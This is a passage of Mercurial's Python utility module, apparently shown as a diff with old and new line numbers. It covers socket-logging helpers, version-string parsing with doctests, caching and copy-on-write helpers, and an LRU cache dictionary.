1059 self.fh.write(
1050 b'%s> sendto(%d, %d, %r) -> %d'
1060 b'%s> sendto(%d, %d, %r) -> %d'
1051 % (self.name, len(data), flags, address, res)
1061 % (self.name, len(data), flags, address, res)
1052 )
1062 )
1053
1063
1054 self._writedata(data)
1064 self._writedata(data)
1055
1065
1056 def setblocking(self, res, flag):
1066 def setblocking(self, res, flag):
1057 if not self.states:
1067 if not self.states:
1058 return
1068 return
1059
1069
1060 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1070 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1061
1071
1062 def settimeout(self, res, value):
1072 def settimeout(self, res, value):
1063 if not self.states:
1073 if not self.states:
1064 return
1074 return
1065
1075
1066 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1076 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1067
1077
1068 def gettimeout(self, res):
1078 def gettimeout(self, res):
1069 if not self.states:
1079 if not self.states:
1070 return
1080 return
1071
1081
1072 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1082 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1073
1083
1074 def setsockopt(self, res, level, optname, value):
1084 def setsockopt(self, res, level, optname, value):
1075 if not self.states:
1085 if not self.states:
1076 return
1086 return
1077
1087
1078 self.fh.write(
1088 self.fh.write(
1079 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1089 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1080 % (self.name, level, optname, value, res)
1090 % (self.name, level, optname, value, res)
1081 )
1091 )
1082
1092
1083
1093
1084 def makeloggingsocket(
1094 def makeloggingsocket(
1085 logh,
1095 logh,
1086 fh,
1096 fh,
1087 name,
1097 name,
1088 reads=True,
1098 reads=True,
1089 writes=True,
1099 writes=True,
1090 states=True,
1100 states=True,
1091 logdata=False,
1101 logdata=False,
1092 logdataapis=True,
1102 logdataapis=True,
1093 ):
1103 ):
1094 """Turn a socket into a logging socket."""
1104 """Turn a socket into a logging socket."""
1095
1105
1096 observer = socketobserver(
1106 observer = socketobserver(
1097 logh,
1107 logh,
1098 name,
1108 name,
1099 reads=reads,
1109 reads=reads,
1100 writes=writes,
1110 writes=writes,
1101 states=states,
1111 states=states,
1102 logdata=logdata,
1112 logdata=logdata,
1103 logdataapis=logdataapis,
1113 logdataapis=logdataapis,
1104 )
1114 )
1105 return socketproxy(fh, observer)
1115 return socketproxy(fh, observer)
1106
1116
1107
1117
1108 def version():
1118 def version():
1109 """Return version information if available."""
1119 """Return version information if available."""
1110 try:
1120 try:
1111 from . import __version__
1121 from . import __version__
1112
1122
1113 return __version__.version
1123 return __version__.version
1114 except ImportError:
1124 except ImportError:
1115 return b'unknown'
1125 return b'unknown'
1116
1126
1117
1127
1118 def versiontuple(v=None, n=4):
1128 def versiontuple(v=None, n=4):
1119 """Parses a Mercurial version string into an N-tuple.
1129 """Parses a Mercurial version string into an N-tuple.
1120
1130
1121 The version string to be parsed is specified with the ``v`` argument.
1131 The version string to be parsed is specified with the ``v`` argument.
1122 If it isn't defined, the current Mercurial version string will be parsed.
1132 If it isn't defined, the current Mercurial version string will be parsed.
1123
1133
1124 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1134 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1125 returned values:
1135 returned values:
1126
1136
1127 >>> v = b'3.6.1+190-df9b73d2d444'
1137 >>> v = b'3.6.1+190-df9b73d2d444'
1128 >>> versiontuple(v, 2)
1138 >>> versiontuple(v, 2)
1129 (3, 6)
1139 (3, 6)
1130 >>> versiontuple(v, 3)
1140 >>> versiontuple(v, 3)
1131 (3, 6, 1)
1141 (3, 6, 1)
1132 >>> versiontuple(v, 4)
1142 >>> versiontuple(v, 4)
1133 (3, 6, 1, '190-df9b73d2d444')
1143 (3, 6, 1, '190-df9b73d2d444')
1134
1144
1135 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1145 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1136 (3, 6, 1, '190-df9b73d2d444+20151118')
1146 (3, 6, 1, '190-df9b73d2d444+20151118')
1137
1147
1138 >>> v = b'3.6'
1148 >>> v = b'3.6'
1139 >>> versiontuple(v, 2)
1149 >>> versiontuple(v, 2)
1140 (3, 6)
1150 (3, 6)
1141 >>> versiontuple(v, 3)
1151 >>> versiontuple(v, 3)
1142 (3, 6, None)
1152 (3, 6, None)
1143 >>> versiontuple(v, 4)
1153 >>> versiontuple(v, 4)
1144 (3, 6, None, None)
1154 (3, 6, None, None)
1145
1155
1146 >>> v = b'3.9-rc'
1156 >>> v = b'3.9-rc'
1147 >>> versiontuple(v, 2)
1157 >>> versiontuple(v, 2)
1148 (3, 9)
1158 (3, 9)
1149 >>> versiontuple(v, 3)
1159 >>> versiontuple(v, 3)
1150 (3, 9, None)
1160 (3, 9, None)
1151 >>> versiontuple(v, 4)
1161 >>> versiontuple(v, 4)
1152 (3, 9, None, 'rc')
1162 (3, 9, None, 'rc')
1153
1163
1154 >>> v = b'3.9-rc+2-02a8fea4289b'
1164 >>> v = b'3.9-rc+2-02a8fea4289b'
1155 >>> versiontuple(v, 2)
1165 >>> versiontuple(v, 2)
1156 (3, 9)
1166 (3, 9)
1157 >>> versiontuple(v, 3)
1167 >>> versiontuple(v, 3)
1158 (3, 9, None)
1168 (3, 9, None)
1159 >>> versiontuple(v, 4)
1169 >>> versiontuple(v, 4)
1160 (3, 9, None, 'rc+2-02a8fea4289b')
1170 (3, 9, None, 'rc+2-02a8fea4289b')
1161
1171
1162 >>> versiontuple(b'4.6rc0')
1172 >>> versiontuple(b'4.6rc0')
1163 (4, 6, None, 'rc0')
1173 (4, 6, None, 'rc0')
1164 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1174 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1165 (4, 6, None, 'rc0+12-425d55e54f98')
1175 (4, 6, None, 'rc0+12-425d55e54f98')
1166 >>> versiontuple(b'.1.2.3')
1176 >>> versiontuple(b'.1.2.3')
1167 (None, None, None, '.1.2.3')
1177 (None, None, None, '.1.2.3')
1168 >>> versiontuple(b'12.34..5')
1178 >>> versiontuple(b'12.34..5')
1169 (12, 34, None, '..5')
1179 (12, 34, None, '..5')
1170 >>> versiontuple(b'1.2.3.4.5.6')
1180 >>> versiontuple(b'1.2.3.4.5.6')
1171 (1, 2, 3, '.4.5.6')
1181 (1, 2, 3, '.4.5.6')
1172 """
1182 """
1173 if not v:
1183 if not v:
1174 v = version()
1184 v = version()
1175 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1185 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1176 if not m:
1186 if not m:
1177 vparts, extra = b'', v
1187 vparts, extra = b'', v
1178 elif m.group(2):
1188 elif m.group(2):
1179 vparts, extra = m.groups()
1189 vparts, extra = m.groups()
1180 else:
1190 else:
1181 vparts, extra = m.group(1), None
1191 vparts, extra = m.group(1), None
1182
1192
1183 assert vparts is not None # help pytype
1193 assert vparts is not None # help pytype
1184
1194
1185 vints = []
1195 vints = []
1186 for i in vparts.split(b'.'):
1196 for i in vparts.split(b'.'):
1187 try:
1197 try:
1188 vints.append(int(i))
1198 vints.append(int(i))
1189 except ValueError:
1199 except ValueError:
1190 break
1200 break
1191 # (3, 6) -> (3, 6, None)
1201 # (3, 6) -> (3, 6, None)
1192 while len(vints) < 3:
1202 while len(vints) < 3:
1193 vints.append(None)
1203 vints.append(None)
1194
1204
1195 if n == 2:
1205 if n == 2:
1196 return (vints[0], vints[1])
1206 return (vints[0], vints[1])
1197 if n == 3:
1207 if n == 3:
1198 return (vints[0], vints[1], vints[2])
1208 return (vints[0], vints[1], vints[2])
1199 if n == 4:
1209 if n == 4:
1200 return (vints[0], vints[1], vints[2], extra)
1210 return (vints[0], vints[1], vints[2], extra)
1201
1211
1202
1212
1203 def cachefunc(func):
1213 def cachefunc(func):
1204 '''cache the result of function calls'''
1214 '''cache the result of function calls'''
1205 # XXX doesn't handle keywords args
1215 # XXX doesn't handle keywords args
1206 if func.__code__.co_argcount == 0:
1216 if func.__code__.co_argcount == 0:
1207 listcache = []
1217 listcache = []
1208
1218
1209 def f():
1219 def f():
1210 if len(listcache) == 0:
1220 if len(listcache) == 0:
1211 listcache.append(func())
1221 listcache.append(func())
1212 return listcache[0]
1222 return listcache[0]
1213
1223
1214 return f
1224 return f
1215 cache = {}
1225 cache = {}
1216 if func.__code__.co_argcount == 1:
1226 if func.__code__.co_argcount == 1:
1217 # we gain a small amount of time because
1227 # we gain a small amount of time because
1218 # we don't need to pack/unpack the list
1228 # we don't need to pack/unpack the list
1219 def f(arg):
1229 def f(arg):
1220 if arg not in cache:
1230 if arg not in cache:
1221 cache[arg] = func(arg)
1231 cache[arg] = func(arg)
1222 return cache[arg]
1232 return cache[arg]
1223
1233
1224 else:
1234 else:
1225
1235
1226 def f(*args):
1236 def f(*args):
1227 if args not in cache:
1237 if args not in cache:
1228 cache[args] = func(*args)
1238 cache[args] = func(*args)
1229 return cache[args]
1239 return cache[args]
1230
1240
1231 return f
1241 return f
1232
1242
1233
1243
1234 class cow(object):
1244 class cow(object):
1235 """helper class to make copy-on-write easier
1245 """helper class to make copy-on-write easier
1236
1246
1237 Call preparewrite before doing any writes.
1247 Call preparewrite before doing any writes.
1238 """
1248 """
1239
1249
1240 def preparewrite(self):
1250 def preparewrite(self):
1241 """call this before writes, return self or a copied new object"""
1251 """call this before writes, return self or a copied new object"""
1242 if getattr(self, '_copied', 0):
1252 if getattr(self, '_copied', 0):
1243 self._copied -= 1
1253 self._copied -= 1
1244 return self.__class__(self)
1254 return self.__class__(self)
1245 return self
1255 return self
1246
1256
1247 def copy(self):
1257 def copy(self):
1248 """always do a cheap copy"""
1258 """always do a cheap copy"""
1249 self._copied = getattr(self, '_copied', 0) + 1
1259 self._copied = getattr(self, '_copied', 0) + 1
1250 return self
1260 return self
1251
1261
1252
1262
1253 class sortdict(collections.OrderedDict):
1263 class sortdict(collections.OrderedDict):
1254 '''a simple sorted dictionary
1264 '''a simple sorted dictionary
1255
1265
1256 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1266 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1257 >>> d2 = d1.copy()
1267 >>> d2 = d1.copy()
1258 >>> d2
1268 >>> d2
1259 sortdict([('a', 0), ('b', 1)])
1269 sortdict([('a', 0), ('b', 1)])
1260 >>> d2.update([(b'a', 2)])
1270 >>> d2.update([(b'a', 2)])
1261 >>> list(d2.keys()) # should still be in last-set order
1271 >>> list(d2.keys()) # should still be in last-set order
1262 ['b', 'a']
1272 ['b', 'a']
1263 >>> d1.insert(1, b'a.5', 0.5)
1273 >>> d1.insert(1, b'a.5', 0.5)
1264 >>> d1
1274 >>> d1
1265 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1275 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1266 '''
1276 '''
1267
1277
1268 def __setitem__(self, key, value):
1278 def __setitem__(self, key, value):
1269 if key in self:
1279 if key in self:
1270 del self[key]
1280 del self[key]
1271 super(sortdict, self).__setitem__(key, value)
1281 super(sortdict, self).__setitem__(key, value)
1272
1282
1273 if pycompat.ispypy:
1283 if pycompat.ispypy:
1274 # __setitem__() isn't called as of PyPy 5.8.0
1284 # __setitem__() isn't called as of PyPy 5.8.0
1275 def update(self, src):
1285 def update(self, src):
1276 if isinstance(src, dict):
1286 if isinstance(src, dict):
1277 src = pycompat.iteritems(src)
1287 src = pycompat.iteritems(src)
1278 for k, v in src:
1288 for k, v in src:
1279 self[k] = v
1289 self[k] = v
1280
1290
1281 def insert(self, position, key, value):
1291 def insert(self, position, key, value):
1282 for (i, (k, v)) in enumerate(list(self.items())):
1292 for (i, (k, v)) in enumerate(list(self.items())):
1283 if i == position:
1293 if i == position:
1284 self[key] = value
1294 self[key] = value
1285 if i >= position:
1295 if i >= position:
1286 del self[k]
1296 del self[k]
1287 self[k] = v
1297 self[k] = v
1288
1298
1289
1299
1290 class cowdict(cow, dict):
1300 class cowdict(cow, dict):
1291 """copy-on-write dict
1301 """copy-on-write dict
1292
1302
1293 Be sure to call d = d.preparewrite() before writing to d.
1303 Be sure to call d = d.preparewrite() before writing to d.
1294
1304
1295 >>> a = cowdict()
1305 >>> a = cowdict()
1296 >>> a is a.preparewrite()
1306 >>> a is a.preparewrite()
1297 True
1307 True
1298 >>> b = a.copy()
1308 >>> b = a.copy()
1299 >>> b is a
1309 >>> b is a
1300 True
1310 True
1301 >>> c = b.copy()
1311 >>> c = b.copy()
1302 >>> c is a
1312 >>> c is a
1303 True
1313 True
1304 >>> a = a.preparewrite()
1314 >>> a = a.preparewrite()
1305 >>> b is a
1315 >>> b is a
1306 False
1316 False
1307 >>> a is a.preparewrite()
1317 >>> a is a.preparewrite()
1308 True
1318 True
1309 >>> c = c.preparewrite()
1319 >>> c = c.preparewrite()
1310 >>> b is c
1320 >>> b is c
1311 False
1321 False
1312 >>> b is b.preparewrite()
1322 >>> b is b.preparewrite()
1313 True
1323 True
1314 """
1324 """
1315
1325
1316
1326
1317 class cowsortdict(cow, sortdict):
1327 class cowsortdict(cow, sortdict):
1318 """copy-on-write sortdict
1328 """copy-on-write sortdict
1319
1329
1320 Be sure to call d = d.preparewrite() before writing to d.
1330 Be sure to call d = d.preparewrite() before writing to d.
1321 """
1331 """
1322
1332
1323
1333
1324 class transactional(object): # pytype: disable=ignored-metaclass
1334 class transactional(object): # pytype: disable=ignored-metaclass
1325 """Base class for making a transactional type into a context manager."""
1335 """Base class for making a transactional type into a context manager."""
1326
1336
1327 __metaclass__ = abc.ABCMeta
1337 __metaclass__ = abc.ABCMeta
1328
1338
1329 @abc.abstractmethod
1339 @abc.abstractmethod
1330 def close(self):
1340 def close(self):
1331 """Successfully closes the transaction."""
1341 """Successfully closes the transaction."""
1332
1342
1333 @abc.abstractmethod
1343 @abc.abstractmethod
1334 def release(self):
1344 def release(self):
1335 """Marks the end of the transaction.
1345 """Marks the end of the transaction.
1336
1346
1337 If the transaction has not been closed, it will be aborted.
1347 If the transaction has not been closed, it will be aborted.
1338 """
1348 """
1339
1349
1340 def __enter__(self):
1350 def __enter__(self):
1341 return self
1351 return self
1342
1352
1343 def __exit__(self, exc_type, exc_val, exc_tb):
1353 def __exit__(self, exc_type, exc_val, exc_tb):
1344 try:
1354 try:
1345 if exc_type is None:
1355 if exc_type is None:
1346 self.close()
1356 self.close()
1347 finally:
1357 finally:
1348 self.release()
1358 self.release()
1349
1359
1350
1360
1351 @contextlib.contextmanager
1361 @contextlib.contextmanager
1352 def acceptintervention(tr=None):
1362 def acceptintervention(tr=None):
1353 """A context manager that closes the transaction on InterventionRequired
1363 """A context manager that closes the transaction on InterventionRequired
1354
1364
1355 If no transaction was provided, this simply runs the body and returns
1365 If no transaction was provided, this simply runs the body and returns
1356 """
1366 """
1357 if not tr:
1367 if not tr:
1358 yield
1368 yield
1359 return
1369 return
1360 try:
1370 try:
1361 yield
1371 yield
1362 tr.close()
1372 tr.close()
1363 except error.InterventionRequired:
1373 except error.InterventionRequired:
1364 tr.close()
1374 tr.close()
1365 raise
1375 raise
1366 finally:
1376 finally:
1367 tr.release()
1377 tr.release()
1368
1378
1369
1379
1370 @contextlib.contextmanager
1380 @contextlib.contextmanager
1371 def nullcontextmanager():
1381 def nullcontextmanager():
1372 yield
1382 yield
1373
1383
1374
1384
1375 class _lrucachenode(object):
1385 class _lrucachenode(object):
1376 """A node in a doubly linked list.
1386 """A node in a doubly linked list.
1377
1387
1378 Holds a reference to nodes on either side as well as a key-value
1388 Holds a reference to nodes on either side as well as a key-value
1379 pair for the dictionary entry.
1389 pair for the dictionary entry.
1380 """
1390 """
1381
1391
1382 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1392 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1383
1393
1384 def __init__(self):
1394 def __init__(self):
1385 self.next = None
1395 self.next = None
1386 self.prev = None
1396 self.prev = None
1387
1397
1388 self.key = _notset
1398 self.key = _notset
1389 self.value = None
1399 self.value = None
1390 self.cost = 0
1400 self.cost = 0
1391
1401
1392 def markempty(self):
1402 def markempty(self):
1393 """Mark the node as emptied."""
1403 """Mark the node as emptied."""
1394 self.key = _notset
1404 self.key = _notset
1395 self.value = None
1405 self.value = None
1396 self.cost = 0
1406 self.cost = 0
1397
1407
1398
1408
1399 class lrucachedict(object):
1409 class lrucachedict(object):
1400 """Dict that caches most recent accesses and sets.
1410 """Dict that caches most recent accesses and sets.
1401
1411
1402 The dict consists of an actual backing dict - indexed by original
1412 The dict consists of an actual backing dict - indexed by original
1403 key - and a doubly linked circular list defining the order of entries in
1413 key - and a doubly linked circular list defining the order of entries in
1404 the cache.
1414 the cache.
1405
1415
1406 The head node is the newest entry in the cache. If the cache is full,
1416 The head node is the newest entry in the cache. If the cache is full,
1407 we recycle head.prev and make it the new head. Cache accesses result in
1417 we recycle head.prev and make it the new head. Cache accesses result in
1408 the node being moved to before the existing head and being marked as the
1418 the node being moved to before the existing head and being marked as the
1409 new head node.
1419 new head node.
1410
1420
1411 Items in the cache can be inserted with an optional "cost" value. This is
1421 Items in the cache can be inserted with an optional "cost" value. This is
1412 simply an integer that is specified by the caller. The cache can be queried
1422 simply an integer that is specified by the caller. The cache can be queried
1413 for the total cost of all items presently in the cache.
1423 for the total cost of all items presently in the cache.
1414
1424
1415 The cache can also define a maximum cost. If a cache insertion would
1425 The cache can also define a maximum cost. If a cache insertion would
1416 cause the total cost of the cache to go beyond the maximum cost limit,
1426 cause the total cost of the cache to go beyond the maximum cost limit,
1417 nodes will be evicted to make room for the new code. This can be used
1427 nodes will be evicted to make room for the new code. This can be used
1418 to e.g. set a max memory limit and associate an estimated bytes size
1428 to e.g. set a max memory limit and associate an estimated bytes size
1419 cost to each item in the cache. By default, no maximum cost is enforced.
1429 cost to each item in the cache. By default, no maximum cost is enforced.
1420 """
1430 """
1421
1431
1422 def __init__(self, max, maxcost=0):
1432 def __init__(self, max, maxcost=0):
1423 self._cache = {}
1433 self._cache = {}
1424
1434
1425 self._head = head = _lrucachenode()
1435 self._head = head = _lrucachenode()
1426 head.prev = head
1436 head.prev = head
1427 head.next = head
1437 head.next = head
1428 self._size = 1
1438 self._size = 1
1429 self.capacity = max
1439 self.capacity = max
1430 self.totalcost = 0
1440 self.totalcost = 0
1431 self.maxcost = maxcost
1441 self.maxcost = maxcost
1432
1442
1433 def __len__(self):
1443 def __len__(self):
1434 return len(self._cache)
1444 return len(self._cache)
1435
1445
1436 def __contains__(self, k):
1446 def __contains__(self, k):
1437 return k in self._cache
1447 return k in self._cache
1438
1448
1439 def __iter__(self):
1449 def __iter__(self):
1440 # We don't have to iterate in cache order, but why not.
1450 # We don't have to iterate in cache order, but why not.
1441 n = self._head
1451 n = self._head
1442 for i in range(len(self._cache)):
1452 for i in range(len(self._cache)):
1443 yield n.key
1453 yield n.key
1444 n = n.next
1454 n = n.next
1445
1455
1446 def __getitem__(self, k):
1456 def __getitem__(self, k):
1447 node = self._cache[k]
1457 node = self._cache[k]
1448 self._movetohead(node)
1458 self._movetohead(node)
1449 return node.value
1459 return node.value
1450
1460
1451 def insert(self, k, v, cost=0):
1461 def insert(self, k, v, cost=0):
1452 """Insert a new item in the cache with optional cost value."""
1462 """Insert a new item in the cache with optional cost value."""
1453 node = self._cache.get(k)
1463 node = self._cache.get(k)
1454 # Replace existing value and mark as newest.
1464 # Replace existing value and mark as newest.
1455 if node is not None:
1465 if node is not None:
1456 self.totalcost -= node.cost
1466 self.totalcost -= node.cost
1457 node.value = v
1467 node.value = v
1458 node.cost = cost
1468 node.cost = cost
1459 self.totalcost += cost
1469 self.totalcost += cost
1460 self._movetohead(node)
1470 self._movetohead(node)
1461
1471
1462 if self.maxcost:
1472 if self.maxcost:
1463 self._enforcecostlimit()
1473 self._enforcecostlimit()
1464
1474
1465 return
1475 return
1466
1476
1467 if self._size < self.capacity:
1477 if self._size < self.capacity:
1468 node = self._addcapacity()
1478 node = self._addcapacity()
1469 else:
1479 else:
1470 # Grab the last/oldest item.
1480 # Grab the last/oldest item.
1471 node = self._head.prev
1481 node = self._head.prev
1472
1482
1473 # At capacity. Kill the old entry.
1483 # At capacity. Kill the old entry.
1474 if node.key is not _notset:
1484 if node.key is not _notset:
1475 self.totalcost -= node.cost
1485 self.totalcost -= node.cost
1476 del self._cache[node.key]
1486 del self._cache[node.key]
1477
1487
1478 node.key = k
1488 node.key = k
1479 node.value = v
1489 node.value = v
1480 node.cost = cost
1490 node.cost = cost
1481 self.totalcost += cost
1491 self.totalcost += cost
1482 self._cache[k] = node
1492 self._cache[k] = node
1483 # And mark it as newest entry. No need to adjust order since it
1493 # And mark it as newest entry. No need to adjust order since it
1484 # is already self._head.prev.
1494 # is already self._head.prev.
1485 self._head = node
1495 self._head = node
1486
1496
1487 if self.maxcost:
1497 if self.maxcost:
1488 self._enforcecostlimit()
1498 self._enforcecostlimit()
1489
1499
1490 def __setitem__(self, k, v):
1500 def __setitem__(self, k, v):
1491 self.insert(k, v)
1501 self.insert(k, v)
1492
1502
1493 def __delitem__(self, k):
1503 def __delitem__(self, k):
1494 self.pop(k)
1504 self.pop(k)
1495
1505
1496 def pop(self, k, default=_notset):
1506 def pop(self, k, default=_notset):
1497 try:
1507 try:
1498 node = self._cache.pop(k)
1508 node = self._cache.pop(k)
1499 except KeyError:
1509 except KeyError:
1500 if default is _notset:
1510 if default is _notset:
1501 raise
1511 raise
1502 return default
1512 return default
1503
1513
1504 assert node is not None # help pytype
1514 assert node is not None # help pytype
1505 value = node.value
1515 value = node.value
1506 self.totalcost -= node.cost
1516 self.totalcost -= node.cost
1507 node.markempty()
1517 node.markempty()
1508
1518
1509 # Temporarily mark as newest item before re-adjusting head to make
1519 # Temporarily mark as newest item before re-adjusting head to make
1510 # this node the oldest item.
1520 # this node the oldest item.
1511 self._movetohead(node)
1521 self._movetohead(node)
1512 self._head = node.next
1522 self._head = node.next
1513
1523
1514 return value
1524 return value
1515
1525
1516 # Additional dict methods.
1526 # Additional dict methods.
1517
1527
1518 def get(self, k, default=None):
1528 def get(self, k, default=None):
1519 try:
1529 try:
1520 return self.__getitem__(k)
1530 return self.__getitem__(k)
1521 except KeyError:
1531 except KeyError:
1522 return default
1532 return default
1523
1533
1524 def peek(self, k, default=_notset):
1534 def peek(self, k, default=_notset):
1525 """Get the specified item without moving it to the head
1535 """Get the specified item without moving it to the head
1526
1536
1527 Unlike get(), this doesn't mutate the internal state. But be aware
1537 Unlike get(), this doesn't mutate the internal state. But be aware
1528 that it doesn't mean peek() is thread safe.
1538 that it doesn't mean peek() is thread safe.
1529 """
1539 """
1530 try:
1540 try:
1531 node = self._cache[k]
1541 node = self._cache[k]
1532 return node.value
1542 return node.value
1533 except KeyError:
1543 except KeyError:
1534 if default is _notset:
1544 if default is _notset:
1535 raise
1545 raise
1536 return default
1546 return default
1537
1547
1538 def clear(self):
1548 def clear(self):
1539 n = self._head
1549 n = self._head
1540 while n.key is not _notset:
1550 while n.key is not _notset:
1541 self.totalcost -= n.cost
1551 self.totalcost -= n.cost
1542 n.markempty()
1552 n.markempty()
1543 n = n.next
1553 n = n.next
1544
1554
1545 self._cache.clear()
1555 self._cache.clear()
1546
1556
1547 def copy(self, capacity=None, maxcost=0):
1557 def copy(self, capacity=None, maxcost=0):
1548 """Create a new cache as a copy of the current one.
1558 """Create a new cache as a copy of the current one.
1549
1559
1550 By default, the new cache has the same capacity as the existing one.
1560 By default, the new cache has the same capacity as the existing one.
1551 But, the cache capacity can be changed as part of performing the
1561 But, the cache capacity can be changed as part of performing the
1552 copy.
1562 copy.
1553
1563
1554 Items in the copy have an insertion/access order matching this
1564 Items in the copy have an insertion/access order matching this
1555 instance.
1565 instance.
1556 """
1566 """
1557
1567
1558 capacity = capacity or self.capacity
1568 capacity = capacity or self.capacity
1559 maxcost = maxcost or self.maxcost
1569 maxcost = maxcost or self.maxcost
1560 result = lrucachedict(capacity, maxcost=maxcost)
1570 result = lrucachedict(capacity, maxcost=maxcost)
1561
1571
1562 # We copy entries by iterating in oldest-to-newest order so the copy
1572 # We copy entries by iterating in oldest-to-newest order so the copy
1563 # has the correct ordering.
1573 # has the correct ordering.
1564
1574
1565 # Find the first non-empty entry.
1575 # Find the first non-empty entry.
1566 n = self._head.prev
1576 n = self._head.prev
1567 while n.key is _notset and n is not self._head:
1577 while n.key is _notset and n is not self._head:
1568 n = n.prev
1578 n = n.prev
1569
1579
1570 # We could potentially skip the first N items when decreasing capacity.
1580 # We could potentially skip the first N items when decreasing capacity.
1571 # But let's keep it simple unless it is a performance problem.
1581 # But let's keep it simple unless it is a performance problem.
1572 for i in range(len(self._cache)):
1582 for i in range(len(self._cache)):
1573 result.insert(n.key, n.value, cost=n.cost)
1583 result.insert(n.key, n.value, cost=n.cost)
1574 n = n.prev
1584 n = n.prev
1575
1585
1576 return result
1586 return result
1577
1587
1578 def popoldest(self):
1588 def popoldest(self):
1579 """Remove the oldest item from the cache.
1589 """Remove the oldest item from the cache.
1580
1590
1581 Returns the (key, value) describing the removed cache entry.
1591 Returns the (key, value) describing the removed cache entry.
1582 """
1592 """
1583 if not self._cache:
1593 if not self._cache:
1584 return
1594 return
1585
1595
1586 # Walk the linked list backwards starting at tail node until we hit
1596 # Walk the linked list backwards starting at tail node until we hit
1587 # a non-empty node.
1597 # a non-empty node.
1588 n = self._head.prev
1598 n = self._head.prev
1589 while n.key is _notset:
1599 while n.key is _notset:
1590 n = n.prev
1600 n = n.prev
1591
1601
1592 assert n is not None # help pytype
1602 assert n is not None # help pytype
1593
1603
1594 key, value = n.key, n.value
1604 key, value = n.key, n.value
1595
1605
1596 # And remove it from the cache and mark it as empty.
1606 # And remove it from the cache and mark it as empty.
1597 del self._cache[n.key]
1607 del self._cache[n.key]
1598 self.totalcost -= n.cost
1608 self.totalcost -= n.cost
1599 n.markempty()
1609 n.markempty()
1600
1610
1601 return key, value
1611 return key, value
1602
1612
1603 def _movetohead(self, node):
1613 def _movetohead(self, node):
1604 """Mark a node as the newest, making it the new head.
1614 """Mark a node as the newest, making it the new head.
1605
1615
1606 When a node is accessed, it becomes the freshest entry in the LRU
1616 When a node is accessed, it becomes the freshest entry in the LRU
1607 list, which is denoted by self._head.
1617 list, which is denoted by self._head.
1608
1618
1609 Visually, let's make ``N`` the new head node (* denotes head):
1619 Visually, let's make ``N`` the new head node (* denotes head):
1610
1620
1611 previous/oldest <-> head <-> next/next newest
1621 previous/oldest <-> head <-> next/next newest
1612
1622
1613 ----<->--- A* ---<->-----
1623 ----<->--- A* ---<->-----
1614 | |
1624 | |
1615 E <-> D <-> N <-> C <-> B
1625 E <-> D <-> N <-> C <-> B
1616
1626
1617 To:
1627 To:
1618
1628
1619 ----<->--- N* ---<->-----
1629 ----<->--- N* ---<->-----
1620 | |
1630 | |
1621 E <-> D <-> C <-> B <-> A
1631 E <-> D <-> C <-> B <-> A
1622
1632
1623 This requires the following moves:
1633 This requires the following moves:
1624
1634
1625 C.next = D (node.prev.next = node.next)
1635 C.next = D (node.prev.next = node.next)
1626 D.prev = C (node.next.prev = node.prev)
1636 D.prev = C (node.next.prev = node.prev)
1627 E.next = N (head.prev.next = node)
1637 E.next = N (head.prev.next = node)
1628 N.prev = E (node.prev = head.prev)
1638 N.prev = E (node.prev = head.prev)
1629 N.next = A (node.next = head)
1639 N.next = A (node.next = head)
1630 A.prev = N (head.prev = node)
1640 A.prev = N (head.prev = node)
1631 """
1641 """
1632 head = self._head
1642 head = self._head
1633 # C.next = D
1643 # C.next = D
1634 node.prev.next = node.next
1644 node.prev.next = node.next
1635 # D.prev = C
1645 # D.prev = C
1636 node.next.prev = node.prev
1646 node.next.prev = node.prev
1637 # N.prev = E
1647 # N.prev = E
1638 node.prev = head.prev
1648 node.prev = head.prev
1639 # N.next = A
1649 # N.next = A
1640 # It is tempting to do just "head" here, however if node is
1650 # It is tempting to do just "head" here, however if node is
1641 # adjacent to head, this will do bad things.
1651 # adjacent to head, this will do bad things.
1642 node.next = head.prev.next
1652 node.next = head.prev.next
1643 # E.next = N
1653 # E.next = N
1644 node.next.prev = node
1654 node.next.prev = node
1645 # A.prev = N
1655 # A.prev = N
1646 node.prev.next = node
1656 node.prev.next = node
1647
1657
1648 self._head = node
1658 self._head = node
1649
1659
1650 def _addcapacity(self):
1660 def _addcapacity(self):
1651 """Add a node to the circular linked list.
1661 """Add a node to the circular linked list.
1652
1662
1653 The new node is inserted before the head node.
1663 The new node is inserted before the head node.
1654 """
1664 """
1655 head = self._head
1665 head = self._head
1656 node = _lrucachenode()
1666 node = _lrucachenode()
1657 head.prev.next = node
1667 head.prev.next = node
1658 node.prev = head.prev
1668 node.prev = head.prev
1659 node.next = head
1669 node.next = head
1660 head.prev = node
1670 head.prev = node
1661 self._size += 1
1671 self._size += 1
1662 return node
1672 return node
1663
1673
1664 def _enforcecostlimit(self):
1674 def _enforcecostlimit(self):
1665 # This should run after an insertion. It should only be called if total
1675 # This should run after an insertion. It should only be called if total
1666 # cost limits are being enforced.
1676 # cost limits are being enforced.
1667 # The most recently inserted node is never evicted.
1677 # The most recently inserted node is never evicted.
1668 if len(self) <= 1 or self.totalcost <= self.maxcost:
1678 if len(self) <= 1 or self.totalcost <= self.maxcost:
1669 return
1679 return
1670
1680
1671 # This is logically equivalent to calling popoldest() until we
1681 # This is logically equivalent to calling popoldest() until we
1672 # free up enough cost. We don't do that since popoldest() needs
1682 # free up enough cost. We don't do that since popoldest() needs
1673 # to walk the linked list and doing this in a loop would be
1683 # to walk the linked list and doing this in a loop would be
1674 # quadratic. So we find the first non-empty node and then
